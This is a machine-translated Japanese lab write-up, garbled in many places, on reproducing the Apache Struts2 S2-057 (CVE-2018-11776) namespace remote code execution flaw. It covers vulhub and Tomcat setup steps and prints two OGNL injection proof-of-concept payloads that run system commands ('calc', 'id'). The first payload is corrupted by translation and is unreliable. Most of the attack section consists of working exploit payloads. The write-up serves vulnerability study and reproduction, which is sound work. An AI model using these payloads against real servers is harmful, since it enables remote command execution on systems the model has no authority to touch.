ApacheのStruts2の名前空間のリモートコマンドの実行_CVE-2018から11776(S2-057)の脆弱性の再現性
まず、脆弱性の説明
S2-057 XMLに書き込むことができる値の詳細セキュリティフィルタにはなりません名前空間の値が存在する場合、ウェブサイトのXML構成を生じる脆弱性、特にURLのタグ値は、ワイルドカードフィルタリングをしませんでした、リモート実行する能力コード、およびサーバシステムへのシステムへのコマンド。
第二に、欠陥がバージョンに影響します
Apacheは2.3、Apacheは2.3.34を支柱支柱
Apacheは2.5、Apacheは2.5.16を支柱支柱
第三に、脆弱性構築するための環境と再現性
win7の+ tomcat7.0 +ストラット-2.5.16
1.ストラット2.5.16公式ショーケースの例をダウンロード
TomcatのwebappsディレクトリにStruts2の-ショーケースをダウンロードする2、
3.変更がストラット-actionchaining.xml、修飾される2つの必要性を発見しました
4.ストラット-actionchaining.xmlを変更し、名前空間を削除します、redirectActionの種類をなります
次のように改正:
<ストラット> <パッケージ名は= " actionchaining "拡張= " ストラット-デフォルト" > <アクション名= " actionChain1 " クラス = " org.apache.struts2.showcase.actionchaining.ActionChain1 " > <結果タイプ= " redirectAction " > < paramの名前= " actionNameの" >レジスタ2 </ param>の </結果> </アクション> </パッケージ> </ストラット>
5、Tomcatを再起動します
6、ブラウザアクセスhttp://192.168.10.230:8080/struts2-showcase/、脆弱性正常にビルド環境
図7は、このエクスプロイト、単にURL構造のOGNL中での発現に加え、コンフィギュレーション・ファイルのアクション]タブのname属性の値が非常に簡単で、かつ.actionで終わります
ブラウザアクセスhttp://192.168.10.230:8080/struts2-showcase/${100*100}/actionChain1.actionは、OGNL式を$ 100 * {100}を実行します
8、私たちは、この、S2-057の脆弱性が正常に利用されている、アクションの設定ファイルのパスにパスにジャンプ
9、電卓を演奏ではなく、ターゲットのポップアップ電卓
POC次のように:
$ {(#_ memberAccess [ "allowStaticMethodAccess"]は真、#A = @ java.lang.Runtime @ getRuntime()。幹部( 'CALC')。のgetInputStream()、#bの=新しいjava.io.InputStreamReader(#Aを= )、#C =新しいjava.io.BufferedReader(#B)、#1、D =新しいCHAR [51020]、#1 c.read(#D)、#jas502n = @ org.apache.struts2.ServletActionContext @てgetResponse()。 getWriter()、#1 jas502n.println(#D)、#1 jas502n.close())}
第四に、脆弱性の防衛
1、最新バージョンにアップグレード
ドッキングウィンドウのビルドを使用します
1、環境脆弱性ドッカビルドvulhubの使用
アップドッキングウィンドウは、構成-d
2、スタートアップ環境の後、アクセスhttp://172.17.0.1:8080/struts2-showcase/
3、げっぷキャプチャ、説明抜け穴としてパッケージを変更
POCを用いて、図4に示すように、認証
POC次のように:
${ (#dm[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
5、把poc替换相应的位置,验证说明存在漏洞 #poc需要url编码
-----------------------------------------------------------------------------------------------------------
参考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057